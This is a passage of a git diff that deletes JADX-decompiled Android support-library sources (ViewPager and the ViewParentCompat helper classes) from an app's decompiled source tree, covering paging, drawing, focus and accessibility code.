- itemInfo2.position = i; - itemInfo2.widthFactor = this.mAdapter.getPageWidth(itemInfo2.position); - i2--; - } - ItemInfo itemInfo3 = itemInfo2; - f = itemInfo3.offset; - float f4 = itemInfo3.widthFactor + f + f2; - if (!z && scrollX < f) { - return itemInfo; - } - if (scrollX < f4 || i2 == this.mItems.size() - 1) { - return itemInfo3; - } - int i4 = itemInfo3.position; - float f5 = itemInfo3.widthFactor; - i2++; - z = false; - i3 = i4; - f3 = f5; - itemInfo = itemInfo3; - } - return itemInfo; - } - - private int determineTargetPage(int i, float f, int i2, int i3) { - if (Math.abs(i3) <= this.mFlingDistance || Math.abs(i2) <= this.mMinimumVelocity) { - i += (int) (f + (i >= this.mCurItem ? 0.4f : 0.6f)); - } else if (i2 <= 0) { - i++; - } - if (this.mItems.size() > 0) { - ArrayList arrayList = this.mItems; - return Math.max(this.mItems.get(0).position, Math.min(i, arrayList.get(arrayList.size() - 1).position)); - } - return i; - } - - @Override // android.view.View - public void draw(Canvas canvas) { - boolean z; - PagerAdapter pagerAdapter; - super.draw(canvas); - int overScrollMode = getOverScrollMode(); - if (overScrollMode == 0 || (overScrollMode == 1 && (pagerAdapter = this.mAdapter) != null && pagerAdapter.getCount() > 1)) { - if (this.mLeftEdge.isFinished()) { - z = false; - } else { - int save = canvas.save(); - int height = (getHeight() - getPaddingTop()) - getPaddingBottom(); - int width = getWidth(); - canvas.rotate(270.0f); - canvas.translate((-height) + getPaddingTop(), this.mFirstOffset * width); - this.mLeftEdge.setSize(height, width); - z = this.mLeftEdge.draw(canvas); - canvas.restoreToCount(save); - } - if (!this.mRightEdge.isFinished()) { - int save2 = canvas.save(); - int width2 = getWidth(); - int height2 = (getHeight() - getPaddingTop()) - getPaddingBottom(); - canvas.rotate(90.0f); - canvas.translate(-getPaddingTop(), (-(this.mLastOffset + 1.0f)) * width2); - this.mRightEdge.setSize(height2, width2); - z |= this.mRightEdge.draw(canvas); - canvas.restoreToCount(save2); - } - if (z) { - ViewCompat.postInvalidateOnAnimation(this); - return; - } - return; - } - this.mLeftEdge.finish(); - this.mRightEdge.finish(); - } - - @Override // android.view.View - protected void onDraw(Canvas canvas) { - int width; - float f; - float f2; - float f3; - super.onDraw(canvas); - if (this.mPageMargin <= 0 || this.mMarginDrawable == null || this.mItems.size() <= 0 || this.mAdapter == null) { - return; - } - int scrollX = getScrollX(); - float width2 = getWidth(); - float f4 = this.mPageMargin / width2; - int i = 0; - ItemInfo itemInfo = this.mItems.get(0); - float f5 = itemInfo.offset; - int size = this.mItems.size(); - int i2 = itemInfo.position; - int i3 = this.mItems.get(size - 1).position; - while (i2 < i3) { - while (i2 > itemInfo.position && i < size) { - i++; - itemInfo = this.mItems.get(i); - } - if (i2 == itemInfo.position) { - f2 = (itemInfo.offset + itemInfo.widthFactor) * width2; - f = itemInfo.offset + itemInfo.widthFactor + f4; - } else { - float pageWidth = this.mAdapter.getPageWidth(i2); - f = f5 + pageWidth + f4; - f2 = (f5 + pageWidth) * width2; - } - if (this.mPageMargin + f2 > scrollX) { - f3 = f4; - this.mMarginDrawable.setBounds(Math.round(f2), this.mTopPageBounds, Math.round(this.mPageMargin + f2), this.mBottomPageBounds); - this.mMarginDrawable.draw(canvas); - } else { - f3 = f4; - } - if (f2 > scrollX + width) { - return; - } - i2++; - f5 = f; - f4 = f3; - } - } - - public boolean beginFakeDrag() { - if (this.mIsBeingDragged) { - return false; - } - this.mFakeDragging = true; - setScrollState(1); - this.mLastMotionX = 0.0f; - this.mInitialMotionX = 0.0f; - VelocityTracker velocityTracker = this.mVelocityTracker; - if (velocityTracker == null) { - this.mVelocityTracker = VelocityTracker.obtain(); - } else { - velocityTracker.clear(); - } - long uptimeMillis = SystemClock.uptimeMillis(); - MotionEvent obtain = MotionEvent.obtain(uptimeMillis, uptimeMillis, 0, 0.0f, 0.0f, 0); - this.mVelocityTracker.addMovement(obtain); - obtain.recycle(); - this.mFakeDragBeginTime = uptimeMillis; - return true; - } - - public void endFakeDrag() { - if (!this.mFakeDragging) { - throw new IllegalStateException("No fake drag in progress. Call beginFakeDrag first."); - } - if (this.mAdapter != null) { - VelocityTracker velocityTracker = this.mVelocityTracker; - velocityTracker.computeCurrentVelocity(1000, this.mMaximumVelocity); - int xVelocity = (int) VelocityTrackerCompat.getXVelocity(velocityTracker, this.mActivePointerId); - this.mPopulatePending = true; - int clientWidth = getClientWidth(); - int scrollX = getScrollX(); - ItemInfo infoForCurrentScrollPosition = infoForCurrentScrollPosition(); - setCurrentItemInternal(determineTargetPage(infoForCurrentScrollPosition.position, ((scrollX / clientWidth) - infoForCurrentScrollPosition.offset) / infoForCurrentScrollPosition.widthFactor, xVelocity, (int) (this.mLastMotionX - this.mInitialMotionX)), true, true, xVelocity); - } - endDrag(); - this.mFakeDragging = false; - } - - public void fakeDragBy(float f) { - ArrayList arrayList; - if (!this.mFakeDragging) { - throw new IllegalStateException("No fake drag in progress. Call beginFakeDrag first."); - } - if (this.mAdapter == null) { - return; - } - this.mLastMotionX += f; - float scrollX = getScrollX() - f; - float clientWidth = getClientWidth(); - float f2 = this.mFirstOffset * clientWidth; - float f3 = this.mLastOffset * clientWidth; - ItemInfo itemInfo = this.mItems.get(0); - ItemInfo itemInfo2 = this.mItems.get(arrayList.size() - 1); - if (itemInfo.position != 0) { - f2 = itemInfo.offset * clientWidth; - } - if (itemInfo2.position != this.mAdapter.getCount() - 1) { - f3 = itemInfo2.offset * clientWidth; - } - if (scrollX < f2) { - scrollX = f2; - } else if (scrollX > f3) { - scrollX = f3; - } - int i = (int) scrollX; - this.mLastMotionX += scrollX - i; - scrollTo(i, getScrollY()); - pageScrolled(i); - MotionEvent obtain = MotionEvent.obtain(this.mFakeDragBeginTime, SystemClock.uptimeMillis(), 2, this.mLastMotionX, 0.0f, 0); - this.mVelocityTracker.addMovement(obtain); - obtain.recycle(); - } - - public boolean isFakeDragging() { - return this.mFakeDragging; - } - - private void onSecondaryPointerUp(MotionEvent motionEvent) { - int actionIndex = MotionEventCompat.getActionIndex(motionEvent); - if (motionEvent.getPointerId(actionIndex) == this.mActivePointerId) { - int i = actionIndex == 0 ? 1 : 0; - this.mLastMotionX = motionEvent.getX(i); - this.mActivePointerId = motionEvent.getPointerId(i); - VelocityTracker velocityTracker = this.mVelocityTracker; - if (velocityTracker != null) { - velocityTracker.clear(); - } - } - } - - private void endDrag() { - this.mIsBeingDragged = false; - this.mIsUnableToDrag = false; - VelocityTracker velocityTracker = this.mVelocityTracker; - if (velocityTracker != null) { - velocityTracker.recycle(); - this.mVelocityTracker = null; - } - } - - private void setScrollingCacheEnabled(boolean z) { - if (this.mScrollingCacheEnabled != z) { - this.mScrollingCacheEnabled = z; - } - } - - @Override // android.view.View - public boolean canScrollHorizontally(int i) { - if (this.mAdapter == null) { - return false; - } - int clientWidth = getClientWidth(); - int scrollX = getScrollX(); - return i < 0 ? scrollX > ((int) (((float) clientWidth) * this.mFirstOffset)) : i > 0 && scrollX < ((int) (((float) clientWidth) * this.mLastOffset)); - } - - protected boolean canScroll(View view, boolean z, int i, int i2, int i3) { - int i4; - if (view instanceof ViewGroup) { - ViewGroup viewGroup = (ViewGroup) view; - int scrollX = view.getScrollX(); - int scrollY = view.getScrollY(); - for (int childCount = viewGroup.getChildCount() - 1; childCount >= 0; childCount--) { - View childAt = viewGroup.getChildAt(childCount); - int i5 = i2 + scrollX; - if (i5 >= childAt.getLeft() && i5 < childAt.getRight() && (i4 = i3 + scrollY) >= childAt.getTop() && i4 < childAt.getBottom() && canScroll(childAt, true, i, i5 - childAt.getLeft(), i4 - childAt.getTop())) { - return true; - } - } - } - return z && ViewCompat.canScrollHorizontally(view, -i); - } - - @Override // android.view.ViewGroup, android.view.View - public boolean dispatchKeyEvent(KeyEvent keyEvent) { - return super.dispatchKeyEvent(keyEvent) || executeKeyEvent(keyEvent); - } - - public boolean executeKeyEvent(KeyEvent keyEvent) { - if (keyEvent.getAction() == 0) { - int keyCode = keyEvent.getKeyCode(); - if (keyCode == 21) { - return arrowScroll(17); - } - if (keyCode == 22) { - return arrowScroll(66); - } - if (keyCode == 61) { - if (KeyEventCompat.hasNoModifiers(keyEvent)) { - return arrowScroll(2); - } - if (KeyEventCompat.hasModifiers(keyEvent, 1)) { - return arrowScroll(1); - } - } - } - return false; - } - - /* JADX WARN: Removed duplicated region for block: B:44:0x00cb */ - /* - Code decompiled incorrectly, please refer to instructions dump. - To view partially-correct add '--show-bad-code' argument - */ - public boolean arrowScroll(int r6) { - /* - r5 = this; - android.view.View r0 = r5.findFocus() - r1 = 0 - if (r0 != r5) goto L9 - L7: - r0 = r1 - goto L62 - L9: - if (r0 == 0) goto L62 - android.view.ViewParent r2 = r0.getParent() - Lf: - boolean r3 = r2 instanceof android.view.ViewGroup - if (r3 == 0) goto L1b - if (r2 != r5) goto L16 - goto L62 - L16: - android.view.ViewParent r2 = r2.getParent() - goto Lf - L1b: - java.lang.StringBuilder r2 = new java.lang.StringBuilder - r2.() - java.lang.Class r3 = r0.getClass() - java.lang.String r3 = r3.getSimpleName() - r2.append(r3) - android.view.ViewParent r0 = r0.getParent() - L2f: - boolean r3 = r0 instanceof android.view.ViewGroup - if (r3 == 0) goto L49 - java.lang.String r3 = " => " - java.lang.StringBuilder r3 = r2.append(r3) - java.lang.Class r4 = r0.getClass() - java.lang.String r4 = r4.getSimpleName() - r3.append(r4) - android.view.ViewParent r0 = r0.getParent() - goto L2f - L49: - java.lang.StringBuilder r0 = new java.lang.StringBuilder - java.lang.String r3 = "arrowScroll tried to find focus based on non-child current focused view " - r0.(r3) - java.lang.String r2 = r2.toString() - java.lang.StringBuilder r0 = r0.append(r2) - java.lang.String r0 = r0.toString() - java.lang.String r2 = "ViewPager" - android.util.Log.e(r2, r0) - goto L7 - L62: - android.view.FocusFinder r1 = android.view.FocusFinder.getInstance() - android.view.View r1 = r1.findNextFocus(r5, r0, r6) - r2 = 66 - r3 = 17 - if (r1 == 0) goto Lb2 - if (r1 == r0) goto Lb2 - if (r6 != r3) goto L92 - android.graphics.Rect r2 = r5.mTempRect - android.graphics.Rect r2 = r5.getChildRectInPagerCoordinates(r2, r1) - int r2 = r2.left - android.graphics.Rect r3 = r5.mTempRect - android.graphics.Rect r3 = r5.getChildRectInPagerCoordinates(r3, r0) - int r3 = r3.left - if (r0 == 0) goto L8d - if (r2 < r3) goto L8d - boolean r0 = r5.pageLeft() - goto Lc9 - L8d: - boolean r0 = r1.requestFocus() - goto Lc9 - L92: - if (r6 != r2) goto Lbe - android.graphics.Rect r2 = r5.mTempRect - android.graphics.Rect r2 = r5.getChildRectInPagerCoordinates(r2, r1) - int r2 = r2.left - android.graphics.Rect r3 = r5.mTempRect - android.graphics.Rect r3 = r5.getChildRectInPagerCoordinates(r3, r0) - int r3 = r3.left - if (r0 == 0) goto Lad - if (r2 > r3) goto Lad - boolean r0 = r5.pageRight() - goto Lc9 - Lad: - boolean r0 = r1.requestFocus() - goto Lc9 - Lb2: - if (r6 == r3) goto Lc5 - r0 = 1 - if (r6 != r0) goto Lb8 - goto Lc5 - Lb8: - if (r6 == r2) goto Lc0 - r0 = 2 - if (r6 != r0) goto Lbe - goto Lc0 - Lbe: - r0 = 0 - goto Lc9 - Lc0: - boolean r0 = r5.pageRight() - goto Lc9 - Lc5: - boolean r0 = r5.pageLeft() - Lc9: - if (r0 == 0) goto Ld2 - int r6 = android.view.SoundEffectConstants.getContantForFocusDirection(r6) - r5.playSoundEffect(r6) - Ld2: - return r0 - */ - throw new UnsupportedOperationException("Method not decompiled: android.support.v4.view.ViewPager.arrowScroll(int):boolean"); - } - - private Rect getChildRectInPagerCoordinates(Rect rect, View view) { - if (rect == null) { - rect = new Rect(); - } - if (view == null) { - rect.set(0, 0, 0, 0); - return rect; - } - rect.left = view.getLeft(); - rect.right = view.getRight(); - rect.top = view.getTop(); - rect.bottom = view.getBottom(); - ViewParent parent = view.getParent(); - while ((parent instanceof ViewGroup) && parent != this) { - ViewGroup viewGroup = (ViewGroup) parent; - rect.left += viewGroup.getLeft(); - rect.right += viewGroup.getRight(); - rect.top += viewGroup.getTop(); - rect.bottom += viewGroup.getBottom(); - parent = viewGroup.getParent(); - } - return rect; - } - - boolean pageLeft() { - int i = this.mCurItem; - if (i > 0) { - setCurrentItem(i - 1, true); - return true; - } - return false; - } - - boolean pageRight() { - PagerAdapter pagerAdapter = this.mAdapter; - if (pagerAdapter == null || this.mCurItem >= pagerAdapter.getCount() - 1) { - return false; - } - setCurrentItem(this.mCurItem + 1, true); - return true; - } - - @Override // android.view.ViewGroup, android.view.View - public void addFocusables(ArrayList arrayList, int i, int i2) { - ItemInfo infoForChild; - int size = arrayList.size(); - int descendantFocusability = getDescendantFocusability(); - if (descendantFocusability != 393216) { - for (int i3 = 0; i3 < getChildCount(); i3++) { - View childAt = getChildAt(i3); - if (childAt.getVisibility() == 0 && (infoForChild = infoForChild(childAt)) != null && infoForChild.position == this.mCurItem) { - childAt.addFocusables(arrayList, i, i2); - } - } - } - if ((descendantFocusability != 262144 || size == arrayList.size()) && isFocusable()) { - if (((i2 & 1) == 1 && isInTouchMode() && !isFocusableInTouchMode()) || arrayList == null) { - return; - } - arrayList.add(this); - } - } - - @Override // android.view.ViewGroup, android.view.View - public void addTouchables(ArrayList arrayList) { - ItemInfo infoForChild; - for (int i = 0; i < getChildCount(); i++) { - View childAt = getChildAt(i); - if (childAt.getVisibility() == 0 && (infoForChild = infoForChild(childAt)) != null && infoForChild.position == this.mCurItem) { - childAt.addTouchables(arrayList); - } - } - } - - @Override // android.view.ViewGroup - protected boolean onRequestFocusInDescendants(int i, Rect rect) { - int i2; - int i3; - int i4; - ItemInfo infoForChild; - int childCount = getChildCount(); - if ((i & 2) != 0) { - i3 = childCount; - i2 = 0; - i4 = 1; - } else { - i2 = childCount - 1; - i3 = -1; - i4 = -1; - } - while (i2 != i3) { - View childAt = getChildAt(i2); - if (childAt.getVisibility() == 0 && (infoForChild = infoForChild(childAt)) != null && infoForChild.position == this.mCurItem && childAt.requestFocus(i, rect)) { - return true; - } - i2 += i4; - } - return false; - } - - @Override // android.view.View - public boolean dispatchPopulateAccessibilityEvent(AccessibilityEvent accessibilityEvent) { - ItemInfo infoForChild; - if (accessibilityEvent.getEventType() == 4096) { - return super.dispatchPopulateAccessibilityEvent(accessibilityEvent); - } - int childCount = getChildCount(); - for (int i = 0; i < childCount; i++) { - View childAt = getChildAt(i); - if (childAt.getVisibility() == 0 && (infoForChild = infoForChild(childAt)) != null && infoForChild.position == this.mCurItem && childAt.dispatchPopulateAccessibilityEvent(accessibilityEvent)) { - return true; - } - } - return false; - } - - @Override // android.view.ViewGroup - protected ViewGroup.LayoutParams generateDefaultLayoutParams() { - return new LayoutParams(); - } - - @Override // android.view.ViewGroup - protected ViewGroup.LayoutParams generateLayoutParams(ViewGroup.LayoutParams layoutParams) { - return generateDefaultLayoutParams(); - } - - @Override // android.view.ViewGroup - protected boolean checkLayoutParams(ViewGroup.LayoutParams layoutParams) { - return (layoutParams instanceof LayoutParams) && super.checkLayoutParams(layoutParams); - } - - @Override // android.view.ViewGroup - public ViewGroup.LayoutParams generateLayoutParams(AttributeSet attributeSet) { - return new LayoutParams(getContext(), attributeSet); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public class MyAccessibilityDelegate extends AccessibilityDelegateCompat { - MyAccessibilityDelegate() { - } - - @Override // android.support.v4.view.AccessibilityDelegateCompat - public void onInitializeAccessibilityEvent(View view, AccessibilityEvent accessibilityEvent) { - super.onInitializeAccessibilityEvent(view, accessibilityEvent); - accessibilityEvent.setClassName(ViewPager.class.getName()); - AccessibilityRecordCompat asRecord = AccessibilityEventCompat.asRecord(accessibilityEvent); - asRecord.setScrollable(canScroll()); - if (accessibilityEvent.getEventType() != 4096 || ViewPager.this.mAdapter == null) { - return; - } - asRecord.setItemCount(ViewPager.this.mAdapter.getCount()); - asRecord.setFromIndex(ViewPager.this.mCurItem); - asRecord.setToIndex(ViewPager.this.mCurItem); - } - - @Override // android.support.v4.view.AccessibilityDelegateCompat - public void onInitializeAccessibilityNodeInfo(View view, AccessibilityNodeInfoCompat accessibilityNodeInfoCompat) { - super.onInitializeAccessibilityNodeInfo(view, accessibilityNodeInfoCompat); - accessibilityNodeInfoCompat.setClassName(ViewPager.class.getName()); - accessibilityNodeInfoCompat.setScrollable(canScroll()); - if (ViewPager.this.canScrollHorizontally(1)) { - accessibilityNodeInfoCompat.addAction(4096); - } - if (ViewPager.this.canScrollHorizontally(-1)) { - accessibilityNodeInfoCompat.addAction(8192); - } - } - - @Override // android.support.v4.view.AccessibilityDelegateCompat - public boolean performAccessibilityAction(View view, int i, Bundle bundle) { - if (super.performAccessibilityAction(view, i, bundle)) { - return true; - } - if (i == 4096) { - if (ViewPager.this.canScrollHorizontally(1)) { - ViewPager viewPager = ViewPager.this; - viewPager.setCurrentItem(viewPager.mCurItem + 1); - return true; - } - return false; - } else if (i == 8192 && ViewPager.this.canScrollHorizontally(-1)) { - ViewPager viewPager2 = ViewPager.this; - viewPager2.setCurrentItem(viewPager2.mCurItem - 1); - return true; - } else { - return false; - } - } - - private boolean canScroll() { - return ViewPager.this.mAdapter != null && ViewPager.this.mAdapter.getCount() > 1; - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private class PagerObserver extends DataSetObserver { - PagerObserver() { - } - - @Override // android.database.DataSetObserver - public void onChanged() { - ViewPager.this.dataSetChanged(); - } - - @Override // android.database.DataSetObserver - public void onInvalidated() { - ViewPager.this.dataSetChanged(); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class LayoutParams extends ViewGroup.LayoutParams { - int childIndex; - public int gravity; - public boolean isDecor; - boolean needsMeasure; - int position; - float widthFactor; - - public LayoutParams() { - super(-1, -1); - this.widthFactor = 0.0f; - } - - public LayoutParams(Context context, AttributeSet attributeSet) { - super(context, attributeSet); - this.widthFactor = 0.0f; - TypedArray obtainStyledAttributes = context.obtainStyledAttributes(attributeSet, ViewPager.LAYOUT_ATTRS); - this.gravity = obtainStyledAttributes.getInteger(0, 48); - obtainStyledAttributes.recycle(); - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class ViewPositionComparator implements Comparator { - ViewPositionComparator() { - } - - @Override // java.util.Comparator - public int compare(View view, View view2) { - LayoutParams layoutParams = (LayoutParams) view.getLayoutParams(); - LayoutParams layoutParams2 = (LayoutParams) view2.getLayoutParams(); - if (layoutParams.isDecor != layoutParams2.isDecor) { - return layoutParams.isDecor ? 1 : -1; - } - return layoutParams.position - layoutParams2.position; - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewParentCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/view/ViewParentCompat.java deleted file mode 100644 index 25cbeee..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewParentCompat.java +++ /dev/null @@ -1,204 +0,0 @@ -package android.support.v4.view; - -import android.view.View; -import android.view.ViewParent; -import android.view.accessibility.AccessibilityEvent; -import android.view.accessibility.AccessibilityManager; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class ViewParentCompat { - static final ViewParentCompatImpl IMPL = new ViewParentCompatLollipopImpl(); - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - interface ViewParentCompatImpl { - void notifySubtreeAccessibilityStateChanged(ViewParent viewParent, View view, View view2, int i); - - boolean onNestedFling(ViewParent viewParent, View view, float f, float f2, boolean z); - - boolean onNestedPreFling(ViewParent viewParent, View view, float f, float f2); - - void onNestedPreScroll(ViewParent viewParent, View view, int i, int i2, int[] iArr); - - void onNestedScroll(ViewParent viewParent, View view, int i, int i2, int i3, int i4); - - void onNestedScrollAccepted(ViewParent viewParent, View view, View view2, int i); - - boolean onStartNestedScroll(ViewParent viewParent, View view, View view2, int i); - - void onStopNestedScroll(ViewParent viewParent, View view); - - boolean requestSendAccessibilityEvent(ViewParent viewParent, View view, AccessibilityEvent accessibilityEvent); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class ViewParentCompatStubImpl implements ViewParentCompatImpl { - @Override // android.support.v4.view.ViewParentCompat.ViewParentCompatImpl - public void notifySubtreeAccessibilityStateChanged(ViewParent viewParent, View view, View view2, int i) { - } - - ViewParentCompatStubImpl() { - } - - @Override // android.support.v4.view.ViewParentCompat.ViewParentCompatImpl - public boolean requestSendAccessibilityEvent(ViewParent viewParent, View view, AccessibilityEvent accessibilityEvent) { - if (view == null) { - return false; - } - ((AccessibilityManager) view.getContext().getSystemService("accessibility")).sendAccessibilityEvent(accessibilityEvent); - return true; - } - - @Override // android.support.v4.view.ViewParentCompat.ViewParentCompatImpl - public boolean onStartNestedScroll(ViewParent viewParent, View view, View view2, int i) { - if (viewParent instanceof NestedScrollingParent) { - return ((NestedScrollingParent) viewParent).onStartNestedScroll(view, view2, i); - } - return false; - } - - @Override // android.support.v4.view.ViewParentCompat.ViewParentCompatImpl - public void onNestedScrollAccepted(ViewParent viewParent, View view, View view2, int i) { - if (viewParent instanceof NestedScrollingParent) { - ((NestedScrollingParent) viewParent).onNestedScrollAccepted(view, view2, i); - } - } - - @Override // android.support.v4.view.ViewParentCompat.ViewParentCompatImpl - public void onStopNestedScroll(ViewParent viewParent, View view) { - if (viewParent instanceof NestedScrollingParent) { - ((NestedScrollingParent) viewParent).onStopNestedScroll(view); - } - } - - @Override // android.support.v4.view.ViewParentCompat.ViewParentCompatImpl - public void onNestedScroll(ViewParent viewParent, View view, int i, int i2, int i3, int i4) { - if (viewParent instanceof NestedScrollingParent) { - ((NestedScrollingParent) viewParent).onNestedScroll(view, i, i2, i3, i4); - } - } - - @Override // android.support.v4.view.ViewParentCompat.ViewParentCompatImpl - public void onNestedPreScroll(ViewParent viewParent, View view, int i, int i2, int[] iArr) { - if (viewParent instanceof NestedScrollingParent) { - ((NestedScrollingParent) viewParent).onNestedPreScroll(view, i, i2, iArr); - } - } - - @Override // android.support.v4.view.ViewParentCompat.ViewParentCompatImpl - public boolean onNestedFling(ViewParent viewParent, View view, float f, float f2, boolean z) { - if (viewParent instanceof NestedScrollingParent) { - return ((NestedScrollingParent) viewParent).onNestedFling(view, f, f2, z); - } - return false; - } - - @Override // android.support.v4.view.ViewParentCompat.ViewParentCompatImpl - public boolean onNestedPreFling(ViewParent viewParent, View view, float f, float f2) { - if (viewParent instanceof NestedScrollingParent) { - return ((NestedScrollingParent) viewParent).onNestedPreFling(view, f, f2); - } - return false; - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class ViewParentCompatICSImpl extends ViewParentCompatStubImpl { - ViewParentCompatICSImpl() { - } - - @Override // android.support.v4.view.ViewParentCompat.ViewParentCompatStubImpl, android.support.v4.view.ViewParentCompat.ViewParentCompatImpl - public boolean requestSendAccessibilityEvent(ViewParent viewParent, View view, AccessibilityEvent accessibilityEvent) { - return ViewParentCompatICS.requestSendAccessibilityEvent(viewParent, view, accessibilityEvent); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class ViewParentCompatKitKatImpl extends ViewParentCompatICSImpl { - ViewParentCompatKitKatImpl() { - } - - @Override // android.support.v4.view.ViewParentCompat.ViewParentCompatStubImpl, android.support.v4.view.ViewParentCompat.ViewParentCompatImpl - public void notifySubtreeAccessibilityStateChanged(ViewParent viewParent, View view, View view2, int i) { - ViewParentCompatKitKat.notifySubtreeAccessibilityStateChanged(viewParent, view, view2, i); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class ViewParentCompatLollipopImpl extends ViewParentCompatKitKatImpl { - ViewParentCompatLollipopImpl() { - } - - @Override // android.support.v4.view.ViewParentCompat.ViewParentCompatStubImpl, android.support.v4.view.ViewParentCompat.ViewParentCompatImpl - public boolean onStartNestedScroll(ViewParent viewParent, View view, View view2, int i) { - return ViewParentCompatLollipop.onStartNestedScroll(viewParent, view, view2, i); - } - - @Override // android.support.v4.view.ViewParentCompat.ViewParentCompatStubImpl, android.support.v4.view.ViewParentCompat.ViewParentCompatImpl - public void onNestedScrollAccepted(ViewParent viewParent, View view, View view2, int i) { - ViewParentCompatLollipop.onNestedScrollAccepted(viewParent, view, view2, i); - } - - @Override // android.support.v4.view.ViewParentCompat.ViewParentCompatStubImpl, android.support.v4.view.ViewParentCompat.ViewParentCompatImpl - public void onStopNestedScroll(ViewParent viewParent, View view) { - ViewParentCompatLollipop.onStopNestedScroll(viewParent, view); - } - - @Override // android.support.v4.view.ViewParentCompat.ViewParentCompatStubImpl, android.support.v4.view.ViewParentCompat.ViewParentCompatImpl - public void onNestedScroll(ViewParent viewParent, View view, int i, int i2, int i3, int i4) { - ViewParentCompatLollipop.onNestedScroll(viewParent, view, i, i2, i3, i4); - } - - @Override // android.support.v4.view.ViewParentCompat.ViewParentCompatStubImpl, android.support.v4.view.ViewParentCompat.ViewParentCompatImpl - public void onNestedPreScroll(ViewParent viewParent, View view, int i, int i2, int[] iArr) { - ViewParentCompatLollipop.onNestedPreScroll(viewParent, view, i, i2, iArr); - } - - @Override // android.support.v4.view.ViewParentCompat.ViewParentCompatStubImpl, android.support.v4.view.ViewParentCompat.ViewParentCompatImpl - public boolean onNestedFling(ViewParent viewParent, View view, float f, float f2, boolean z) { - return ViewParentCompatLollipop.onNestedFling(viewParent, view, f, f2, z); - } - - @Override // android.support.v4.view.ViewParentCompat.ViewParentCompatStubImpl, android.support.v4.view.ViewParentCompat.ViewParentCompatImpl - public boolean onNestedPreFling(ViewParent viewParent, View view, float f, float f2) { - return ViewParentCompatLollipop.onNestedPreFling(viewParent, view, f, f2); - } - } - - private ViewParentCompat() { - } - - public static boolean requestSendAccessibilityEvent(ViewParent viewParent, View view, AccessibilityEvent accessibilityEvent) { - return IMPL.requestSendAccessibilityEvent(viewParent, view, accessibilityEvent); - } - - public static boolean onStartNestedScroll(ViewParent viewParent, View view, View view2, int i) { - return IMPL.onStartNestedScroll(viewParent, view, view2, i); - } - - public static void onNestedScrollAccepted(ViewParent viewParent, View view, View view2, int i) { - IMPL.onNestedScrollAccepted(viewParent, view, view2, i); - } - - public static void onStopNestedScroll(ViewParent viewParent, View view) { - IMPL.onStopNestedScroll(viewParent, view); - } - - public static void onNestedScroll(ViewParent viewParent, View view, int i, int i2, int i3, int i4) { - IMPL.onNestedScroll(viewParent, view, i, i2, i3, i4); - } - - public static void onNestedPreScroll(ViewParent viewParent, View view, int i, int i2, int[] iArr) { - IMPL.onNestedPreScroll(viewParent, view, i, i2, iArr); - } - - public static boolean onNestedFling(ViewParent viewParent, View view, float f, float f2, boolean z) { - return IMPL.onNestedFling(viewParent, view, f, f2, z); - } - - public static boolean onNestedPreFling(ViewParent viewParent, View view, float f, float f2) { - return IMPL.onNestedPreFling(viewParent, view, f, f2); - } - - public static void notifySubtreeAccessibilityStateChanged(ViewParent viewParent, View view, View view2, int i) { - IMPL.notifySubtreeAccessibilityStateChanged(viewParent, view, view2, i); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewParentCompatICS.java b/apk_3230/decompiled_source/sources/android/support/v4/view/ViewParentCompatICS.java deleted file mode 100644 index 624a49f..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewParentCompatICS.java +++ /dev/null @@ -1,14 +0,0 @@ -package android.support.v4.view; - -import android.view.View; -import android.view.ViewParent; -import android.view.accessibility.AccessibilityEvent; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ViewParentCompatICS { - ViewParentCompatICS() { - } - - public static boolean requestSendAccessibilityEvent(ViewParent viewParent, View view, AccessibilityEvent accessibilityEvent) { - return viewParent.requestSendAccessibilityEvent(view, accessibilityEvent); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewParentCompatKitKat.java b/apk_3230/decompiled_source/sources/android/support/v4/view/ViewParentCompatKitKat.java deleted file mode 100644 index 4222b4a..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewParentCompatKitKat.java +++ /dev/null @@ -1,13 +0,0 @@ -package android.support.v4.view; - -import android.view.View; -import android.view.ViewParent; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ViewParentCompatKitKat { - ViewParentCompatKitKat() { - } - - public static void notifySubtreeAccessibilityStateChanged(ViewParent viewParent, View view, View view2, int i) { - viewParent.notifySubtreeAccessibilityStateChanged(view, view2, i); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewParentCompatLollipop.java b/apk_3230/decompiled_source/sources/android/support/v4/view/ViewParentCompatLollipop.java deleted file mode 100644 index 52451b4..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewParentCompatLollipop.java +++ /dev/null @@ -1,71 +0,0 @@ -package android.support.v4.view; - -import android.util.Log; -import android.view.View; -import android.view.ViewParent; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ViewParentCompatLollipop { - private static final String TAG = "ViewParentCompat"; - - ViewParentCompatLollipop() { - } - - public static boolean onStartNestedScroll(ViewParent viewParent, View view, View view2, int i) { - try { - return viewParent.onStartNestedScroll(view, view2, i); - } catch (AbstractMethodError e) { - Log.e(TAG, "ViewParent " + viewParent + " does not implement interface method onStartNestedScroll", e); - return false; - } - } - - public static void onNestedScrollAccepted(ViewParent viewParent, View view, View view2, int i) { - try { - viewParent.onNestedScrollAccepted(view, view2, i); - } catch (AbstractMethodError e) { - Log.e(TAG, "ViewParent " + viewParent + " does not implement interface method onNestedScrollAccepted", e); - } - } - - public static void onStopNestedScroll(ViewParent viewParent, View view) { - try { - viewParent.onStopNestedScroll(view); - } catch (AbstractMethodError e) { - 